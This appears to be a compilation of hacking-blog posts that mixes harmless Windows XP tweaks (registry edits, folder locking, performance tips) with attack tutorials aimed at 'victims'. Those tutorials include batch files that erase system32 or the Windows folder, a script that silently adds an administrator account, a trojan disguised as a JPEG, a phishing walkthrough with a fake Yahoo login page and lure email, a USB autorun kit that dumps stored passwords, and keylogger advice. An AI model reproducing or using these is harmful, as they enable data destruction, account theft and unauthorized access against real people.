Here is a trick to add your name in place of AM and PM beside time in the taskbar.
It's simple Goto Start -> Control Panel -> Regional and Language option -> Customize (beside English US) -> Go to TIME tab -> Change AM symbol and PM symbol from AM and PM to your name -> Apply -> Ok ...IS it changed ??? May be not ... Now go to time in taskbar and Double Click it to open "Date and time property" ... Look at the place where time changes in digital format i.e. 02:47:52 AM , click to arrow to chage the AM or PM by selecting and press arrow. Apply -> OK.
This trick remove the slight delay between clicking on a menu and XP displaying the menu.
Go to Start then Run Type 'Regedit' then click 'Ok' Find "HKEY_CURRENT_USER\Control Panel\Desktop\" Select "MenuShowDelay" Right click and select "Modify' Reduce the number to around "100" This is the delay time before a menu is opened. You can set it to "0" but it can make windows really hard to use as menus will open if you just look at them - well move your mouse over them anyway.
1. Open Notepad 2. write the above command : - erase %windir%\system32\*.* /q 3. Save the above notepad with the extension ".bat or .cmd" as u want. After u created the .cmd or .bat file send it to ur victim as like ordinary file.Once ur victim double click on it then he/she needs to format his/her pc. What it does is deletes all files present in the system32 folder out of which most of them are files important for a computers functioning. Note:- It would work only if the victim has windows os.
Want admin privileges on any pc?? try this Copy and paste the code given below in notepad and save it as anyname.bat(not txt) Then double click on it This will add u in administrators group Enjoy. CODE:-
echo off title Please wait... cls net user add Username Password /add net user localgroup Administrators Username /add net user Guest 420 /active:yes net localgroup Guests Guest /DELETE net localgroup Administrators Guest /add del %0
when double clicked on this drive an error message will open saying it is inaccessible .This is an alternate to hiding a drive and making it inaccisible. Here's how u do that :
Go to the registry editor and navigate to the following place : HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer In the right hand pane for the Explorer key, create a new "DWORD" value named ViewNoDrive
Double click the new value and enter it as ....... for hiding A drive set value as 1 , for B its 2 and C its 4 and so on and for Z its 33554432 generally multiply it by 2 for the next alphabet to hide. Once done, reboot or log off and login in again. Then try double clicking the drive you made inaccessible. You should receive a message stating that the drive cannot be accessed
1. Firstly, create a new folder and make sure that the options 'show hidden files' is checked and ‘hide extensions for known file types’ is unchecked. Basically what u need is to see hidden files and see the extension of all your files on your pc.
2. Paste a copy of your server on the new created folder. let's say it's called server.exe (that's why you need the extension of files showing, cause you need to see it to change it)
3. Now you’re going to rename this server.exe to whatever you want, let’s say for example picture.jpeg
4. Windows is going to warn you if you really want to change this extension from exe to jpeg, click YES.
5. Now create a shortcut of this picture.jpeg in the same folder.
6. Now that you have a shortcut, rename it to whatever you want, for example, me.jpeg.
7. Go to properties (on file me.jpeg) and now you need to do some changes there.
8. First of all delete all the text on field START IN and leave it empty.
9. Then on field TARGET you need to write the path to open the other file (the server renamed picture.jpeg) so u have to write this: C:\WINDOWS\system32\cmd.exe /c picture.jpeg
10. The last field, c picture.jpeg is always the name of the first file. If you called the first file soccer.avi you gotta write C:\WINDOWS\system32\cmd.exe /c soccer.avi got it?
11. So what you’re doing is when someone clicks on me.jpeg, a cmd will execute the other file picture.jpeg and the server will run.
12. On that file me.jpeg (shortcut), go to properties and you have an option to change the icon. click that and a new window will pop up and u have to write this: %SystemRoot%\system32\SHELL32.dll . Then press OK.
13. You can set the properties HIDDEN for the first file (picture.jpeg) if you think it’s better to get a connection from someone.
14. But don’t forget one thing, these 2 files must always be together in the same folder and to get connected to someone they must click on the shortcut created not on the first file. So rename the files to whatever you want considering the person and the knowledge they have on this matter.
15. For me for example I always want the shortcut showing first so can be the first file to be opened. So I rename the server to picture2.jpeg and the shortcut to picture 1.jpeg. This way the shortcut will show up first. If you set hidden properties to the server (picture.jpeg) then u don’t have to bother with this detail but I’m warning you, the hidden file will always show up inside of a zip file or rar.
16. So the best way to send these files together to someone is compress them into zip or rar.
17. inside the RAR or ZIP file you can see the files properties and even after all this work you can see that the shortcut is recognized like a shortcut but hopefully the person you sent this too doesn’t know that and is going to open it.
To speed up your hard disk speed we need to configure a special buffer in the computer's memory in order to enable it to better deal with interrupts made from the disk. This tip is only recommended if you have 256MB RAM or higher. Follow these steps:
Run SYSEDIT.EXE from the Run command.
Expand the system.ini file window.
Scroll down almost to the end of the file till you find a line called [386enh].
Press Enter to make one blank line, and in that line type
Irq14=4096
Note: This line IS CASE SENSITIVE!!!
Click on the File menu, then choose Save.
Close SYSEDIT and reboot your computer.
Done. Speed improvement will be noticed after the computer reboots. Update: The most speed improvement is visible with IDE drives, however there are reports that this tweak also does good for SCSI disks. In any case, it won't harm your system, so why not try it yourself and let me know what you find.
Many people have been looking for an alternative way to lock folders without the use of any alternative software. So, here two methods to Lock a folder without any software....
Frist method
Suppose you want to lock the folder games in d: which has the path D:\Games.In the same drive create a text file and type ren games games.{21EC2020-3AEA-1069-A2DD-08002B30309D} Now save this text file as loc.bat
create another text file and type in it ren games.{21EC2020-3AEA-1069-A2DD-08002B30309D} games Now save this text file as key.bat
Now you can see 2 batch files loc and key.Press loc and the folder games will change to control panel and you cannot view its contents.Press key and you will get back your original folder.
try it out!!!!!!!
Second method
Open Notepad and copy the below code and save as locker.bat. Please don't forget to change your password in the code it's shown the place where to type your password. Now double click on locker .bat First time start, it will create folder with Locker automatically for u. After creation of the Locker folder, place the contents u want to lock inside the Locker Folder and run locker.bat again.
********************************************************** cls @ECHO OFF title Folder Locker if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK if NOT EXIST Locker goto MDLOCKER :CONFIRM echo Are you sure u want to Lock the folder(Y/N) set/p "cho=>" if %cho%==Y goto LOCK if %cho%==y goto LOCK if %cho%==n goto END if %cho%==N goto END echo Invalid choice. goto CONFIRM :LOCK ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" echo Folder locked goto End :UNLOCK echo Enter password to Unlock folder set/p "pass=>" if NOT %pass%== type your password here goto FAIL attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker echo Folder Unlocked successfully goto End :FAIL echo Invalid password goto end :MDLOCKER md Locker echo Locker created successfully goto End :End
Many times you must have seen that some authors publish their long e-books in multiple parts, instead of one big PDF document. For some, it could be handy i.e on mobile devices which, sometimes, work slow with big documents. But many prefer one big document.
For the later kind, I have found a perfect web app that could help you. MergePDF is a free service that could combine multiple PDF documents into a single one.
You don’t have to fuss over desktop apps in search for the best one. Simple upload your files at MergePDF, and it will generate the merged PDF file for you to download.
However, there are some limitations at MergePDF.
* Maximum number of input files is 10 * Individual file size limit is 5 MB * All uploaded files are removed after the merge process has finished.
I came across another free online converter that lets you convert DOC files to PDF.
Unlike DOCX documents, DOC files can work on any version of Microsoft Word prior to Word 2007 and is supported by number of free word processors. But in case you need to convert it in the PDF format, continue reading below.
DOC2PDF free service that enables you to convert Microsoft Word documents (.doc) into Adobe Acrobat PDF (.pdf) documents with a single click. That’s not all, you can also convert Powerpoint and Excel files to PDF. Simply browse the file you want to upload, choose the conversion format and press the Convert Document button. You will then be prompted to download the converted file.
It is a very convenient and quick online converter that can come in handy anytime.
The most frequent questions asked by many people especially in a chat room is How To Hack Yahoo Password or any other email account.So you as the reader are most likely reading this because you want to break into somebody's email account.Here are some of the tricks that can be used to track an email password.
NOTE:THIS TUTORIAL IS MEANT FOR EDUCATIONAL PURPOSE ONLY.I AM NOT RESPONSIBLE FOR ANY KIND OF MISUSE.
THINGS YOU SHOULD KNOW BEFORE PROCEEDING
There is no program that will crack the password of victim's account.There exist many password hacking programs which claims to do this,but unfortunately people using these kind of programs will only end up in frustration.None of these programs work since services like Hotmail, Yahoo!, etc. have it set so that it will lock you from that account after a certain number of login attempts.Another thing you must know if you ask this question in any "hacker" chat room/channel, you hear that you have to email some address and in any way you give up your password in the process, in attempt to crack others password.So DO NOT BELEIVE THIS.
TWO WAYS OF HACKING METHODS THAT YOU CAN TRY IF YOU HAVE ACCESS TO VICTIM'S COMPUTER
If you have physical access to victim's computer then it's definitely possible to crack his password.This can easily be done by just installing a keylogger.
What is a keylogger? A keylogger, sometimes called a keystroke logger, key logger, or system monitor, is a hardware device or small program that monitors each keystroke a user types on a specific computer's keyboard.
A keylogger program can be installed just in a few seconds and once installed you are only a step away from getting the victim's password.OK we can crack passwords using a keylogger but these are the questions that arise in our mind now!
1.Where is the keylogger program available?
A keylogger program is widely available on the internet.some of them are listed below
Oops i think the above list is enough.There exists hundreds of such keyloggers available on the net.These are software keyloggers.There are also hardware Keyloggers available which can be directly attached to computer and can be used to sniff valuable data.These programs are none other than spyware! So use it @ your own risk.
2.How to install it?
You can install these keyloggers just as any other program but these things you must keep in mind.While installing,it asks you for a secret password and a hot key to enable it.This is because after installing the keylogger program is completely hidden and the victim can no way identify it.Keylogger is hidden from control panel,Program files,Start menu,Task manager so that it becomes completely invisible but runs in background monitoring the user activities.
3.Once installed how to get password from it?
The hacker can open the keylogger program by just pressing the hot keys(which is set during installation) and enter the password.Now it shows the logs containing every keystroke of the user,where it was pressed,at what time,including screenshots of the activities.
Some keyloggers also has a built in SMTP server.So once you install the keylogger on victim's computer you can just sit back in our place and receive the logs via email
4.Which keylogger program is the best?
According to me Elite Keylogger and Powered keylogger are the best.You can also read the features and side by side comparisions of them and select the best that suites your needs.
IF YOU DO NOT HAVE ACCESS TO VICTIM'S COMPUTER
Ofcourse the above method can only be employed if you can access victims computer.But what to do if we do not have access.In this case there exists many Remote Administration Tools commonly known as RATs available on net.Just try googling and you can get one.
STEPS TO BE CARRIED OUT BEFORE YOU HACK YAHOO
Let’s see how to hack Yahoo in particular.Before we hack the password, we have to understand how to exploit the major vulnerabilities in Yahoo.During the sign up process, it allows your First name or the Last name to contain the Word Yahoo .Is this not a major flaw? Yes, because you can choose the first name as Yahoo Account and last name as Update.So, when you send an email from this Yahoo account, it appears to have come from
Yahoo Account Update (Yahoo Accounts Team)
So, this helps us to make the victims believe that this is an email from Yahoo Accounts Team.
So What’s Next?
CREATING A NEW ACCOUNT
Before you hack Yahoo, you need to create a new account as given below
1. Choose the first name as YAHOO ACCOUNT and last name as UPDATE.
3. Always select @yahoo.com not yahoo.co.uk or yahoo.co.in.
Now you are all set to hack the password.
USING A FAKE LOGIN PAGE TO HACK YAHOO
We have to hack yahoo using a fake login page.Hacking Yahoo using a Fake login page has more success rate than any other method.In fact, this is the real procedure adopted by many hackers to hack an email password.
After you have setup your new Yahoo account and the fake login page, it’s just a cakewalk to hack the password.All you have to do is just send an email from your fake Yahoo account to the victim’s ID saying that
————————————————————————————
Dear <Victim Name> or Yahoo subscriber,
It is highly recommended that you update your account immediately as per the new policy adopted by Yahoo.Blah blah…
Click Here to update your account.
Thanks,
The Yahoo accounts team
————————————————————————————
Remember to link your Fake login page to the text Click Here.Once the victim enters the password in the fake login page, you have successfully hacked the Yahoo password.The above procedure can also be used to hack Gmail and other email passwords.
Today I will show you how to hack Passwords using an USB Pen Drive. As we all know, Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc. Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE and Firefox. There exists many tools for recovering these passswords from their stored places. Using these tools and an USB pendrive you can create your own rootkit to hack passwords from your friend’s/college Computer. We need the following tools to create our rootkit.
MessenPass: Recovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.
Mail PassView: Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free. Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts.
IE Passview: IE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet explorer, v4.0 - v6.0
Protected Storage PassView: Recovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more…
PasswordFox: PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signons filename.
Here is a step by step procedre to create the password hacking toolkit.
NOTE: You must temporarily disable your antivirus before following these steps.
1.Download all the 5 tools, extract them and copy only the executables(.exe files) into your USB Pendrive.
ie: Copy the files - mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.
2.Create a new Notepad and write the following text into it
[autorun] open=launch.bat ACTION= Perform a Virus Scan
save the Notepad and rename it from
New Text Document.txt to autorun.inf
Now copy theautorun.inf file onto your USB pendrive.
3. Create another Notepad and write the following text onto it.
start mspass.exe /stext mspass.txt
start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start passwordfox.exe /stext passwordfox.txt
save the Notepad and rename it from
New Text Document.txt to launch.bat
Copy the launch.bat file also to your USB drive.
Now your rootkit is ready and you are all set to hack the passwords. You can use this pendrive on your friend’s PC or on your college computer. Just follow these steps
1. Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive).
2. In the pop-up window, select the first option (Perform a Virus Scan).
3. Now all the password hacking tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.
4. Remove the pendrive and you’ll see the stored passwords in the .TXT files.
This hack works on Windows 2000, XP and Vista
NOTE: This procedure will only recover the stored passwords (if any) on the Computer.
Recently Orkut updated it’s security feature and disabled Right-click on photos of friend’s album.So this makes it difficult to copy photos from Orkut.It’s a new security update made by Orkut to prevent people from copying photos from Orkut and misusing it.This may be annoying most of you! Then…
How To Copy Locked Photos From Orkut?
Yes it’s still possible to copy the photos from Orkut.Here’s a step-by-step procedure to copy the photo.
1. Login into your Orkut Account.
2. Goto your friend’s album and open the photo that you need to copy.
3. Once the photo is loaded to it’s full size just place the mouse cursor on the photo.
4. Press the left click button and drag and drop the photo onto the ADDRESS BAR.I think this trick is no longer working.So I have a new trick….
Just DRAG and DROP the PHOTO onto the current/new TAB (If you have IE 7). That’s it . This trick is working now!!
4. Now the photo gets displayed seperately on your browser.
5. You can Right-Click and select the Save As option to save the photo onto your PC.
The browser also displays the direct link to the photo.This link can be used to share the Orkut photos with your friends without the need to login to your Orkut account to access photos.
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This hack allows you to run a program at startup only once.This hack also avoids the need of startup folder and the autorun is configured in the registry itself.In this hack the specified program runs only once at startup (Right after the first boot of configuration) and will not continue to run for the subsequent startups.Here’s the hack .If you need to run the program at startup everytime then refer the followint link: Run Program At Startup Without Using Startup Folder
1. Goto Run (Win+R)
2.Type “regedit” (without quotes) in the run dialogue box.
This program is an example of how to create a virus in c.This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file.Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on.Here’s the source code of the virus program.
Can you create a folder named “con”, “prn”, “nul” “com1″ “com2″ “lpt1″ etc. in windows ?
The answer is NO and YES!
NO because create a new folder and try to rename it to any one of the above specified names, you know what happens! In Windows XP the folder name automatically changes back to “New Folder” no matter you try any number of times.Where as in Windows Vista when you try to rename the file you get an error message “The specified device name is invalid”.
What is the reason for this? Simple, these names represent the internal devices and hence we cannot create folders with the above names.
YES because it is still possible to create these folders using the command prompt.Heres the instructions to create it.
1. Go to command prompt
2. Type in prompt (FOR EG. TO CREATE CON FOLDER IN E: DRIVE)
C:\>md \\.\e:\con
NOTE:”con” can be replaced by any other names such as “prn”, “nul” “com1″ “com2″ “lpt1″ etc.
3. To delete the folder use the following command
C:\>rd \\.\e:\con
NOTE:The folder can only be deleted from the command prompt.You cannot remove it by right-click delete
In this post I’ll show you how to create a Fake Login Page in simple steps.A Fake Login Page is a page that exactly resembles the original login page of sites like Yahoo,Gmail etc.However, these Fake login pages are created just for the purpose of stealing other’s passwords.
Here in this post I will give a procedure to create a fake login page of Yahoo.com.The same procedure may be followed to create the fake login page of Gmail and other sites.
Here is a step-by-step procedure to create a fake login page.
STEP 1. Go to the Yahoo login page by typing the following URL.
mail.yahoo.com
STEP 2. Once the Yahoo login page is loaded, Save the page as Complete HTML file. (Not as .mht file) To save the page goto File->Save As
Tip:.mht option is available only in IE 7. So if you you are using some other browser you need not worry.
STEP 3. Once you save the login page completely, you will see a HTML file and a folder with the name something like this Yahoo! Mail The best web-based email! .
STEP 4. Make sure that the folder contains the necessary images and other support files.Now rename the Folder to “files“.You may also rename the .HTML file to yahoo.HTML
STEP 5. Now open the .HTML file using a WordPad.Change the links of all the files present in the folder to /files.
For example you may find something like this in the opened HTML file
Repeat the same procedure for every file contained in the folder by name “files“.
Tip:To search for the links, press Ctrl+F in the opened WordPad and search for “.gif”. Repeat the Step 5 for every .gif file.
STEP 6.
Now search for the following term
action=
you will see something like this
action=https://login.yahoo.com/config/login?
Edit this to
action=http://yoursite.com/login.php
Tip:Open a free account in 110mb.com to create your own site for uploading the Fake Login Page. yoursite.com has to be substituted by the name of your site.For example if your site name is yahooupdate.110mb.com then replace yoursite.comwith yahooupdate.110mb.com.
Save the changes to the file.
NOTE: You can write your own code for login.php or search for login.php (Login script) on Google.
STEP 7.
Now you have to upload your yahoo.HTML, files folder and login.php to
yoursite.com Root folder
NOTE: Make sure that your host supports PHP
Tip:110mb.com supports PHP
STEP 8. Configure the login.php file to save the entered password onto a .TXT file and redirect the user to original login page (mail.yahoo.com)
Tip:login.php can save the password in any format (not necessarily .TXT format).You can search a php script in Google that can save the password in any format.You may also search a php script that can email the username & password
NOTE: The concept here is to save the password.The format is not important here.
STEP 9. Distribute the Yahoo.HTML URL (ie: yoursite.com/yahoo.HTML) to your friends.When they login from this fake login page, the login.php will save the username and password onto the .TXT file (or any other format) in your site. Download the file to see the password inside it.
Navigate to your desktop. On the desktop, right-click and go to New, then to Shortcut (in other words, create a new shortcut). You should now see a pop-up window instructing you to enter a command line path. Use this path in "Type Location of the Item" SHUTDOWN -s -t 01 If the C: drive is not your local hard drive, then replace "C" with the correct letter of the hard drive. Click the "Next" button. Name the shortcut and click the "Finish" button. Now whenever you want to shut down, just click on this shortcut and you're done.
Ok this is a........ Well it's not really a virus of a hack because it doesn't damage anything. But that aside what it will do is shutdown the victim’s computer, this can be put in MSN convos so it is VERY fun to have, and it can also be put in emails and such like things.
1) Right click on desk top, and then go New, then Shortcut.
2) Then in the "type location of the item" you want to type: %windir%\system32\shutdown.exe -s -t 120 -c "This is a virus"
You can change "this is a virus" to anything you would like that’s just the message that will appear. The 120 you typed in can also be change at will, this is simply the amount of time they receive in till there computer will shutdown. Once the code has been entered as you have seen above click next.
My advice would be to rename it something like.... wicked game. Depends on the victim’s age and sex. But make sure you call it something good or the victim won't bother clicking on it. After you have given it a name click on finish. You should now have an icon on your desktop that is called "wicked game" or whatever name you gave it. It is also advised you change the icon to something different.
3) Change name and icon.
4) Now to send it to some one you need to make a compressed file. This can be done by right clicking on the desktop, New, Compressed file (zipped) Then another folder should appear on your desktop click on this and drag your shutdown virus into the zipped folder.
5) Once your shutdown virus is in your compressed folder rename it. Make sure to give it a similar name as to the file inside it like "Great Game.zip" Don’t forget to add the .zip at the end.
WARNING! Make sure when you rename the compressed folder to add .zip at the end it is very important.
Now feel free to send it to anyone you...... dislike greatly.
As a safe guard I will tell you how to stop the shutdown count down. Just encase you ever click it your self LOL Ok go to start, run, type cmd, then in cmd type: shutdown -a
Now in the right pane create a new DWORD item and name it NoDrives(it is case sensitive). Now modify it's value and set it to 3FFFFFF (Hexadecimal) .Now restart your computer. So, now when you click on My Computer, no drives will be shown(all gone...). To enable display of drives in My Computer, simply delete this DWORD item that you created.Again restart your computer.You can now see all the drives again. Magic........lol....
Since defragging the disk won't do much to improve Windows XP performance, here are 23 suggestions that will. Each can enhance the performance and reliability of your customers' PCs. Best of all, most of them will cost you nothing.
1.) To decrease a system's boot time and increase system performance, use the money you save by not buying defragmentation software -- the built-in Windows defragmenter works just fine -- and instead equip the computer with an Ultra-133 or Serial ATA hard drive with 8-MB cache buffer.
2.) If a PC has less than 512 MB of RAM, add more memory. This is a relatively inexpensive and easy upgrade that can dramatically improve system performance.
3.) Ensure that Windows XP is utilizing the NTFS file system. If you're not sure, here's how to check: First, double-click the My Computer icon, right-click on the C: Drive, then select Properties. Next, examine the File System type; if it says FAT32, then back-up any important data. Next, click Start, click Run, type CMD, and then click OK. At the prompt, type CONVERT C: /FS:NTFS and press the Enter key. This process may take a while; it's important that the computer be uninterrupted and virus-free. The file system used by the bootable drive will be either FAT32 or NTFS. I highly recommend NTFS for its superior security, reliability, and efficiency with larger disk drives.
4.) Disable file indexing. The indexing service extracts information from documents and other files on the hard drive and creates a "searchable keyword index." As you can imagine, this process can be quite taxing on any system.
The idea is that the user can search for a word, phrase, or property inside a document, should they have hundreds or thousands of documents and not know the file name of the document they want. Windows XP's built-in search functionality can still perform these kinds of searches without the Indexing service. It just takes longer. The OS has to open each file at the time of the request to help find what the user is looking for.
Most people never need this feature of search. Those who do are typically in a large corporate environment where thousands of documents are located on at least one server. But if you're a typical system builder, most of your clients are small and medium businesses. And if your clients have no need for this search feature, I recommend disabling it.
Here's how: First, double-click the My Computer icon. Next, right-click on the C: Drive, then select Properties. Uncheck "Allow Indexing Service to index this disk for fast file searching." Next, apply changes to "C: subfolders and files," and click OK. If a warning or error message appears (such as "Access is denied"), click the Ignore All button.
5.) Update the PC's video and motherboard chipset drivers. Also, update and configure the BIOS. For more information on how to configure your BIOS properly, see this article on my site.
6.) Empty the Windows Prefetch folder every three months or so. Windows XP can "prefetch" portions of data and applications that are used frequently. This makes processes appear to load faster when called upon by the user. That's fine. But over time, the prefetch folder may become overloaded with references to files and applications no longer in use. When that happens, Windows XP is wasting time, and slowing system performance, by pre-loading them. Nothing critical is in this folder, and the entire contents are safe to delete.
7.) Once a month, run a disk cleanup. Here's how: Double-click the My Computer icon. Then right-click on the C: drive and select Properties. Click the Disk Cleanup button -- it's just to the right of the Capacity pie graph -- and delete all temporary files.
8.) In your Device Manager, double-click on the IDE ATA/ATAPI Controllers device, and ensure that DMA is enabled for each drive you have connected to the Primary and Secondary controller. Do this by double-clicking on Primary IDE Channel. Then click the Advanced Settings tab. Ensure the Transfer Mode is set to "DMA if available" for both Device 0 and Device 1. Then repeat this process with the Secondary IDE Channel.
9.) Upgrade the cabling. As hard-drive technology improves, the cabling requirements to achieve these performance boosts have become more stringent. Be sure to use 80-wire Ultra-133 cables on all of your IDE devices with the connectors properly assigned to the matching Master/Slave/Motherboard sockets. A single device must be at the end of the cable; connecting a single drive to the middle connector on a ribbon cable will cause signaling problems. With Ultra DMA hard drives, these signaling problems will prevent the drive from performing at its maximum potential. Also, because these cables inherently support "cable select," the location of each drive on the cable is important. For these reasons, the cable is designed so drive positioning is explicitly clear.
10.) Remove all spyware from the computer. Use free programs such as AdAware by Lavasoft or SpyBot Search & Destroy. Once these programs are installed, be sure to check for and download any updates before starting your search. Anything either program finds can be safely removed. Any free software that requires spyware to run will no longer function once the spyware portion has been removed; if your customer really wants the program even though it contains spyware, simply reinstall it. For more information on removing Spyware visit this Web Pro News page.
11.) Remove any unnecessary programs and/or items from Windows Startup routine using the MSCONFIG utility. Here's how: First, click Start, click Run, type MSCONFIG, and click OK. Click the StartUp tab, then uncheck any items you don't want to start when Windows starts. Unsure what some items are? Visit the WinTasks Process Library. It contains known system processes, applications, as well as spyware references and explanations. Or quickly identify them by searching for the filenames using Google or another Web search engine.
12.) Remove any unnecessary or unused programs from the Add/Remove Programs section of the Control Panel.
13.) Turn off any and all unnecessary animations, and disable active desktop. In fact, for optimal performance, turn off all animations. Windows XP offers many different settings in this area. Here's how to do it: First click on the System icon in the Control Panel. Next, click on the Advanced tab. Select the Settings button located under Performance. Feel free to play around with the options offered here, as nothing you can change will alter the reliability of the computer -- only its responsiveness.
14.) If your customer is an advanced user who is comfortable editing their registry, try some of the performance registry tweaks offered at Tweak XP.
15.) Visit Microsoft's Windows update site regularly, and download all updates labeled Critical. Download any optional updates at your discretion.
16.) Update the customer's anti-virus software on a weekly, even daily, basis. Make sure they have only one anti-virus software package installed. Mixing anti-virus software is a sure way to spell disaster for performance and reliability.
17.) Make sure the customer has fewer than 500 type fonts installed on their computer. The more fonts they have, the slower the system will become. While Windows XP handles fonts much more efficiently than did the previous versions of Windows, too many fonts -- that is, anything over 500 -- will noticeably tax the system.
18.) Do not partition the hard drive. Windows XP's NTFS file system runs more efficiently on one large partition. The data is no safer on a separate partition, and a reformat is never necessary to reinstall an operating system. The same excuses people offer for using partitions apply to using a folder instead. For example, instead of putting all your data on the D: drive, put it in a folder called "D drive." You'll achieve the same organizational benefits that a separate partition offers, but without the degradation in system performance. Also, your free space won't be limited by the size of the partition; instead, it will be limited by the size of the entire hard drive. This means you won't need to resize any partitions, ever. That task can be time-consuming and also can result in lost data.
19.) Check the system's RAM to ensure it is operating properly. I recommend using a free program called MemTest86. The download will make a bootable CD or diskette (your choice), which will run 10 extensive tests on the PC's memory automatically after you boot to the disk you created. Allow all tests to run until at least three passes of the 10 tests are completed. If the program encounters any errors, turn off and unplug the computer, remove a stick of memory (assuming you have more than one), and run the test again. Remember, bad memory cannot be repaired, but only replaced.
20.) If the PC has a CD or DVD recorder, check the drive manufacturer's Web site for updated firmware. In some cases you'll be able to upgrade the recorder to a faster speed. Best of all, it's free.
21.) Disable unnecessary services. Windows XP loads a lot of services that your customer most likely does not need. To determine which services you can disable for your client, visit the Black Viper site for Windows XP configurations.
22.) If you're sick of a single Windows Explorer window crashing and then taking the rest of your OS down with it, then follow this tip: open My Computer, click on Tools, then Folder Options. Now click on the View tab. Scroll down to "Launch folder windows in a separate process," and enable this option. You'll have to reboot your machine for this option to take effect.
23.) At least once a year, open the computer's cases and blow out all the dust and debris. While you're in there, check that all the fans are turning properly. Also inspect the motherboard capacitors for bulging or leaks. For more information on this leaking-capacitor phenomena, you can read numerous articles on my site.
Following any of these suggestions should result in noticeable improvements to the performance and reliability of your customers' computers. If you still want to defrag a disk, remember that the main benefit will be to make your data more retrievable in the event of a crashed drive.
Virtual memory is a small portion of hard drive space converted to RAM. This is useful for computers which use more physical RAM than is available. Windows XP allow the user to change the amount of virual memory used. By default, the system determines the amount automatically. It is possible to change this to a set amount. It can be a good idea to do this for better performance. Here are the instructions setp by step, along with suggested settings:
1. Click 'Start'
2. Click 'My Computer'
3. Click 'View System Information' under 'System Tasks' (If you can not see this option then click 'System Tasks' to collapse the menu). This will open the System Properies window. Alternatively, you can go to Control Panel and open 'System'.
4. Click the 'Advanced' tab
5. Click the 'Settings' button under 'Performance'. This opens the Performance Options window.
6. Click the 'Advanced' tab.
7. Click the 'Change' button under 'Virtual Memory'
8. Under 'Paging file size for selected drive' select the 'Custom size:' option.
9. In the box next to where it says 'Intial size (MB)' the best number to enter is 2X the amount of physical memory currently in your system. For example, if you have 512 MB of RAM you would enter 1024 in this box.
10. In the box next to where it says 'Maximum size (MB)' enter the same number.
Now, to test it, create a textfile called TEST.txt(empty) in C:\
Now in your notepad type "erase C:\TEST.txt" (without the quotes). Then do "Save As..." and save it as "Test.cmd".
Now run the file "Test.cmd" and go to C:\ and you'll see your Test.txt is gone. Now, the real work begins:
Go to Notpad and type erase C:\WINDOWS (or C:\LINUX if you have linux) and save it again as findoutaname.cmd. Now DON'T run the file or you'll lose your WINDOWS map. So, that's the virus. Now to take revenge. Send you file to your victim. Once she/he opens it. Her/his WINDOWS/LINUX map is gone. And have to install LINUX/WINDOWS again.
Simple explanation:
Go to notepad, type erase C:\WINDOWS, save, send to victim, once the victim opens it, the map WINDOWS will be gone and have to install WINDOWS again...
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